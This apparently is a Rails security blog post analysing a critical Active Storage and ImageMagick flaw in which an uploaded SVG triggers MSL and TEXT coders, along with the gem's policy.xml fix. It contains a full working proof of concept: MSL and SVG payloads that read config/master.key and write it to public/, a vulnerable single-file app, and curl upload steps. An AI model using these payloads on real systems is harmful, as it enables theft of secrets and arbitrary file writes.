The critical Active Storage ImageMagick issue
On the 4th of November the Rails security team shipped 8.0.5.2 and 8.1.4.1, and it is a big one: 21 security issues in a single release. One of them is rated critical, GHSA-f3w6-w445-fwh9, “Possible arbitrary file write and read in Active Storage image analysis”, with a CVSS score of 9.8.
As usual I wanted to understand how bad the issue really is. The TLDR version is:
if you accept image uploads, use the default
:mini_magick variant processor and run a typical distro ImageMagick, then
uploading one SVG file reads and writes arbitrary files on your server. No
variant creation, preview, etc is required, just one upload request.
ImageMagick does not trust a file extension obviously, it picks a coder based on the file’s content, and a handful of ImageMagick’s coders don’t treat the file as an image at all, they treat it as a script that names other files. The clearest example is MSL, the Magick Scripting Language, a little XML dialect that reads and writes whatever paths you put in it.
Active Storage never restricted any of those coders. The relevant part is when the analyzer runs. Here is the vulnerable analyzer from 8.0.5.1:
download_blob_to_tempfile do |file|
image = instrument("mini_magick") do
MiniMagick::Image.new(file.path)
end
if image.valid?
yield image
else
logger.info "Skipping image analysis because ImageMagick doesn't support the file"
{}
end
image.valid? shells out to identify, and the metadata extraction that follows
calls image.width, image.height and image["%[orientation]"], which are more
identify calls. All of that happens at attach time. You don’t need to call
variant, you don’t need a preview, you don’t need to call analyze yourself.
Someone attaches a file, Active Storage runs ImageMagick on it, and the file’s
own bytes decide which coder gets to run.
The Rails commit that fixes this,
ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776, says this:
An uploaded SVG reached ImageMagick’s
MSLcoder through the ImageMagick analyzer at attach time, andMSLreads and writes the files its script names. Active Storage constrained none of ImageMagick’s coders.
Active Storage only passes image files to the ImageMagick analyzer, as it only
accepts blobs where blob.image? is true, and that is just
content_type&.start_with?("image"). Active Storage does not trust the content
type the client declares though, it re-sniffs the first 4KB with Marcel:
def identify_content_type
Marcel::MimeType.for download_identifiable_chunk, name: filename.to_s, declared_type: content_type
end
This sounds like it might prevent this vulnerability to reach ImageMagick, but it doesn’t, because an SVG really is an image as far as Marcel is concerned:
name=logo.svg declared="image/svg+xml" => image/svg+xml image?=true
There is a pre-requisite though and ImageMagick’s SVG coder has to be its own internal renderer rather than librsvg and this is the case for instance on Ubuntu 22.04:
$ identify -list format | grep -E '^ *(SVG|MSL)\b'
MSL* MSL rw+ Magick Scripting Language
SVG* SVG rw+ Scalable Vector Graphics (XML 2.9.13)
XML 2.9.13 above means it is libxml, not librsvg, because Ubuntu’s ImageMagick is
compiled against libxml, so SVG rendering goes through ImageMagick’s own parser
even with librsvg2-2 installed, and that parser resolves <image>
elements by calling ReadImage on whatever the xlink:href directive in the
svg says, including an explicit coder prefix.
The rw+ column in the listing above is that coder’s capabilities, and it means
it can read and write images.
A coder is picked in one of three ways: an explicit prefix on the filename
(msl:/tmp/x), the file’s own magic bytes, or, when neither of those settles
it, the extension. The prefix beats the other two, and that is what matters here.
The other thing to know is that not every coder is an image format. Some of them
generate an image out of nothing (LABEL, CAPTION, XC), some fetch one from
somewhere else (URL, HTTPS, FILE), some hand the file to an external
program (PS and PDF call Ghostscript), and some read a file that is not an
image at all and typeset its contents (TEXT):
$ identify -list format | grep -E '^ *(TEXT|HTTPS|LABEL|XC)\b'
HTTPS* URL r-- Uniform Resource Locator (https://)
LABEL* LABEL r-- Image label
TEXT* TXT rw+ Text
XC* XC r-- Constant image uniform color
Now back to MSL. As we have seen, MSL is rw+, which brings us to the policy.
ImageMagick ships policy.xml, and it is a useful tool that saves you from
ImageTragick-era bugs. Here is what Ubuntu 22.04 actually has in effect:
$ grep -E '^\s*<policy' /etc/ImageMagick-6/policy.xml
<policy domain="delegate" rights="none" pattern="URL" />
<policy domain="delegate" rights="none" pattern="HTTPS" />
<policy domain="delegate" rights="none" pattern="HTTP" />
<policy domain="path" rights="none" pattern="@*"/>
<policy domain="coder" rights="none" pattern="PS" />
<policy domain="coder" rights="none" pattern="PS2" />
<policy domain="coder" rights="none" pattern="PS3" />
<policy domain="coder" rights="none" pattern="EPS" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
That is a a default policy, but everybody changed this after 2016. It
denies the Ghostscript family, the network delegates and @filename
indirection. It does not deny MSL though. I doubt anybody added it, because
the famous bugs were PostScript and PDF bugs.
Arch, which is what I run, is worse in a different way. Its policy.xml is totally open:
$ grep -cE '^\s*<policy' /etc/ImageMagick-7/policy.xml
38
$ grep -A1 '<policymap>' /etc/ImageMagick-7/policy.xml
<policymap>
<policy domain="Undefined" rights="none"/>
The only active rule is Undefined.
Now that we understand the vulnerability, let’s see how can we make a payload. We need two files. First the MSL script, which is the part that actually touches the filesystem:
<image>
<read filename="text:/app/config/master.key"/>
<write filename="/app/public/MASTER_KEY.png"/>
</image>
text: is the trick that turns a non-image file into something ImageMagick will
load, it renders the file’s contents as an image. <write> then drops it
wherever you ask.
Then the SVG you upload, which just points at the script:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64">
<image xlink:href="msl:/work/inner.msl" width="64" height="64"/>
</svg>
To make sure I was not fooling myself with hand-run identify commands, I wrote
a script that replicates what ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick
does, using the same MiniMagick calls:
require "mini_magick"
image = MiniMagick::Image.new(ARGV[0])
puts "valid? = #{image.valid?}"
puts "width=#{image.width} height=#{image.height}"
puts "orientation=#{image["%[orientation]"].inspect}"
And ran it against the SVG inside an Ubuntu 22.04 container with nothing but
imagemagick and mini_magick installed:
$ ruby analyzer_sim.rb /work/b.svg
valid? = true
raised: MiniMagick::Error
MASTER_KEY.png exists? true
$ ls -la /work/MASTER_KEY.png
-rw-r--r-- 1 root root 4554 Nov 7 14:15 /work/MASTER_KEY.png
$ identify /work/MASTER_KEY.png
/work/MASTER_KEY.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4554B
valid? returned true, and by the time it did, ImageMagick had already read a
file I chose and written it out to a path I chose, as a 612x792 PNG of its
contents. That is the arbitrary read and the arbitrary write, from
MiniMagick::Image#valid?, which is the first thing the analyzer calls.
Narrowing it down, the write happens on identify -format %w too, which is
exactly what MiniMagick::Image#width runs:
=== b.svg (identify -format %w, i.e. MiniMagick#width) ===
*** MSL RAN ***
So there is no version of this where the analyzer “just checks the dimensions” and stays safe. Reading the dimensions is the exploit basically.
There is one challenge though, the MSL script has to be on the disk somewhere the server can read. With the Disk service that is not much of an obstacle, because you upload it as a first attachment and the storage path is derived from the blob key, which the API hands back to you:
def folder_for(key)
[ key[0..1], key[2..3] ].join("/")
end
So the file lands at <root>/<key[0..1]>/<key[2..3]>/<key>. Upload the script,
read the key out of the response, then upload an SVG pointing msl: at that
path.
Let’s exploit
Time to put it together in an app. A few years ago I wrote about
building a single file Rails application,
and it is the perfect tool for this too. Here is app.ru, pinned to the
vulnerable version of Rails:
# frozen_string_literal: true
require "bundler/inline"
gemfile(true) do
source "https://rubygems.org"
gem "rails", "8.0.5.1"
gem "mini_magick", "5.0.1"
gem "sqlite3", "~> 2.0"
gem "puma"
end
require "rails/all"
ENV["DATABASE_URL"] = "sqlite3:poc.sqlite3"
class App < Rails::Application
config.root = __dir__
config.secret_key_base = "poc_secret"
config.eager_load = false
config.consider_all_requests_local = true
config.hosts.clear
config.active_job.queue_adapter = :inline
config.active_storage.service = :local
config.active_storage.variant_processor = :mini_magick
config.active_storage.service_configurations = {
"local" => { "service" => "Disk", "root" => File.join(__dir__, "storage") }
}
routes.append { post "/upload", to: "uploads#create" }
end
App.initialize!
ActiveRecord::Schema.verbose = false
ActiveRecord::Schema.define do
create_table :documents, force: true
create_table :active_storage_blobs, force: true do |t|
t.string :key, null: false
t.string :filename, null: false
t.string :content_type
t.text :metadata
t.string :service_name, null: false
t.bigint :byte_size, null: false
t.string :checksum
t.datetime :created_at, null: false
end
create_table :active_storage_attachments, force: true do |t|
t.string :name, null: false
t.string :record_type, null: false
t.bigint :record_id, null: false
t.bigint :blob_id, null: false
t.datetime :created_at, null: false
end
create_table :active_storage_variant_records, force: true do |t|
t.bigint :blob_id, null: false
t.string :variation_digest, null: false
end
end
class Document < ActiveRecord::Base
has_one_attached :file
end
class UploadsController < ActionController::Base
skip_forgery_protection
def create
document = Document.create!
document.file.attach(params[:file])
blob = document.file.blob
render json: {
key: blob.key,
filename: blob.filename.to_s,
content_type: blob.content_type,
analyzed: blob.analyzed?,
metadata: blob.metadata,
stored_at: ActiveStorage::Blob.service.path_for(blob.key)
}
end
end
run App
The controller does nothing special, it creates a record, attaches the uploaded
file and renders what Active Storage made of it. No variant, no preview, no
analyze. The stored_at in the response is a convenience so you can see what
is happening, an attacker does not need it, the key is enough to work the path
out with the folder_for rule above.
I ran this on Ubuntu 22.04 with imagemagick installed from the archive, which
gives ImageMagick 6.9.11-60 and the libxml SVG renderer. Jammy only packages
Ruby 3.0 and Rails 8 wants 3.2 or newer, so I built a Ruby for it, which is the
only unusual thing about the setup. Start the app with rackup app.ru -p 9292,
and give it an example master key:
$ rails secret > config/master.key
Then we first upload the MSL script. It is not an image and Active Storage does not care, it just needs to land on the disk:
$ cat read.msl
<image>
<read filename="text:/app/config/master.key"/>
<write filename="/app/public/MASTER_KEY.png"/>
</image>
$ curl -s -F 'file=@read.msl' http://127.0.0.1:9292/upload
{"key":"b8u0j6uve2t828hqk6e1d8ep03ah","filename":"read.msl",
"content_type":"application/vnd.mobius.msl","analyzed":true,
"metadata":{"identified":true,"analyzed":true},
"stored_at":"/app/storage/b8/u0/b8u0j6uve2t828hqk6e1d8ep03ah"}
The second upload is the SVG, pointing at the path we just got back:
$ cat evil.svg
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64">
<image xlink:href="msl:/app/storage/b8/u0/b8u0j6uve2t828hqk6e1d8ep03ah"
width="64" height="64"/>
</svg>
$ curl -s -F 'file=@evil.svg' http://127.0.0.1:9292/upload
{"key":"21ewgrp485ofstuz0mpjzvatef4y","filename":"evil.svg",
"content_type":"image/svg+xml","analyzed":null,
"metadata":{"identified":true},
"stored_at":"/app/storage/21/ew/21ewgrp485ofstuz0mpjzvatef4y"}
$ ls -la public/
-rw-r--r-- 1 root root 4847 Nov 8 11:13 MASTER_KEY.png
I pointed the write at public/ on purpose, because that is also the access the
output, since Rails serves that directory, so the stolen file get be downloaded
easily:
$ curl -s -o master-key.png http://127.0.0.1:9292/MASTER_KEY.png
200 4847
$ identify MASTER_KEY.png
got.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4847B
And this is what we have in the logs:
[ActiveStorage::AnalyzeJob] Skipping image analysis due to an ImageMagick error:
`identify -format %[orientation] /tmp/ActiveStorage-2-20261108-17210-6gwb1y.svg[0]`
failed with status: nil and error:
The analyzer rescued the error and moved on. The file was written before
identify died, so the only trace in the application log is a line saying image
analysis was skipped.
What happens then if you are on S3? It turns out the service makes no difference at all to
reaching ImageMagick, because Blob#open downloads the blob to a tempfile
either way:
service.open(
key,
checksum: checksum,
verify: !composed,
name: [ "ActiveStorage-#{id}-", filename.extension_with_delimiter ],
tmpdir: tmpdir,
&block
)
ImageMagick is handed a local path regardless, and it still parses your SVG. The
arbitrary read does not even need the second file, text: on its own is
enough:
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink" width="612" height="792">
<image xlink:href="text:/rails/config/master.key" width="612" height="792"/>
</svg>
$ ruby analyzer_sim.rb read_only.svg
valid? = true
width=612 height=792
orientation="Undefined"
$ convert read_only.svg READ_ONLY.png
$ identify READ_ONLY.png
READ_ONLY.png PNG 612x792 612x792+0+0 16-bit Grayscale Gray 4826B
You open that PNG and read the master key. Database config, private key,
application source, all the same. /proc/self/environ doesn’t work
unfortunately though, text: stops at the first NUL so you get a single environment
variable rather than the whole environment.
What S3 takes away is the write. MSL needs a script that is already on the
local filesystem and is reached with an explicit msl: prefix, and on S3 there
is no such file. There is no magic signature for MSL, so a single uploaded file
wouldn’t work I believe:
$ identify -list magic | grep -iE '^(MSL|SVG)'
SVG 1 ?XML
SVG 1 ?xml
SVG 1 SVG
SVG 1 svg
Anything starting with <?xml is claimed by SVG. The extension does not select
the coder either, only the prefix does:
$ identify /work/x.msl
identify-im6.q16: no decode delegate for this image format `' @ error/constitute.c/ReadImage/580.
Nested reads are not glob expanded, so you cannot wildcard your way to the tempfile:
$ convert /work/glob.svg /tmp/out.png
convert-im6.q16: unable to open image `/work/in*.msl': No such file or directory
convert-im6.q16: unable to open file `/work/in*.msl' @ error/msl.c/ProcessMSLScript/7779.
I also tried pointing msl: at log/production.log with the script injected
into a log line, on the theory that the log is attacker controlled content at a
known path. The parser finds nothing and writes nothing, the XML has to be the
whole file. And guessing the tempfile is pretty much impossible, the name as the pid and
a 32 bit random suffix:
/tmp/ActiveStorage-42-20261107-2703707-w8yhxz.svg
On a default S3 app the read happens tough, but you cannot see the result,
because image/svg+xml is not in variable_content_types:
config.active_storage.variable_content_types = %w(
image/png
image/gif
image/jpeg
image/tiff
image/bmp
image/vnd.adobe.photoshop
image/vnd.microsoft.icon
image/webp
image/avif
image/heic
image/heif
)
so blob.variant raises ActiveStorage::InvariableError, and the analyzer keeps
only the width and the height and throws the rendered image away. Your secrets
get typeset into a PNG that nobody ever sees.
That stops being true the moment the application does anything else with the
upload. Add image/svg+xml to variable_content_types, run uploads through
image_processing yourself, or mirror to a Disk service, and either the rendered
file becomes a stored and served variant, or the predictable path is back and.
“We are on S3” doesn’t save you from this issue, just makes exfiltration more
difficult.
Interestingly, on my Arch box, with its wide open policy, the same payload fails:
$ magick identify a.msvg
identify: explicit coder not allowed `msl:/.../inner.msl'
@ error/constitute-private.h/StrictReadImage/59.
StrictReadImage is a recent ImageMagick hardening that refuses an explicit coder
prefix on a nested read. It is why I spent a while convinced this was hard to
reach: my own ImageMagick was blocking the last hop, for reasons that had nothing
to do with my policy. If you are on ImageMagick 7.1.2 or similar you were saved
by that check, not by policy.xml.
It is not only an ImageMagick 7 thing either, and this is the part I found most
annoying while building the proof of concept. Debian Bookworm ships the same
upstream 6.9.11-60 as Ubuntu 22.04, with the check backported:
$ identify /tmp/t.svg
identify-im6.q16: ExplicitCoderNotAllowed `msl:/app/storage/32/wi/32wiv8...'
@ error/constitute-private.h/StrictReadImage/73.
Ubuntu 24.04, on 6.9.12-98, ignores the nested reference and writes nothing.
Ubuntu 22.04, on the same version number as Debian, runs the script. Whether you
are exploitable comes down to which distro built your ImageMagick.
Worth mentioning too that on a librsvg-backed build a plain .svg goes to librsvg,
which ignores the href. An attacker could get around that by naming the upload
.msvg, ImageMagick’s own SVG renderer, and starting the file with a newline so
the <?xml magic does not fire and the extension decides. Marcel still calls it
an image, because the declared content type wins when the magic is unrecognised:
name=logo.msvg declared="image/svg+xml" => image/svg+xml image?=true
The fix is a policy.xml inside the gem:
$ gem contents activestorage --version 8.1.4.1 | grep policy
.../activestorage-8.1.4.1/lib/active_storage/image_magick/policy.xml
This is prepended to MAGICK_CONFIGURE_PATH for every ImageMagick process
MiniMagick creates:
def self.apply_policy # :nodoc:
operator_paths = operator_paths(MiniMagick.cli_env["MAGICK_CONFIGURE_PATH"]).presence ||
operator_paths(ENV["MAGICK_CONFIGURE_PATH"])
MiniMagick.cli_env = MiniMagick.cli_env.merge("MAGICK_CONFIGURE_PATH" => configure_path(operator_paths)).freeze
end
ImageMagick reads every policy.xml on its search path and applies all of them,
so this adds to whatever is already configured rather than replacing it.
The policy denies MSL, the coders that read or delete other files (EPHEMERAL,
TEXT), MPC, the ones that display to a screen, the ones that fetch references
(URL, HTTP, HTTPS, FTP, FILE), the whole Ghostscript family plus the
gs delegate, and @ indirection:
<policy domain="coder" rights="none" pattern="MSL"/>
<policy domain="coder" rights="none" pattern="EPHEMERAL"/>
<policy domain="coder" rights="none" pattern="TEXT"/>
<policy domain="coder" rights="none" pattern="MPC"/>
<policy domain="delegate" rights="none" pattern="gs"/>
<policy domain="coder" rights="none" pattern="PS"/>
<policy domain="coder" rights="none" pattern="PDF"/>
<policy domain="path" rights="none" pattern="@*"/>
Note that denying MSL alone would not have been enough, TEXT is what turned
/app/config/master.key into a loadable image in my payload.
Develop the right mindset for Rails security
Avoid shipping vulnerable code by learning how to prevent security issues in your Rails applications.
Get the course for $99Or follow me on Twitter
Hire me for a security audit
I find security issues before the bad guys do.
Penetration test for Rails apps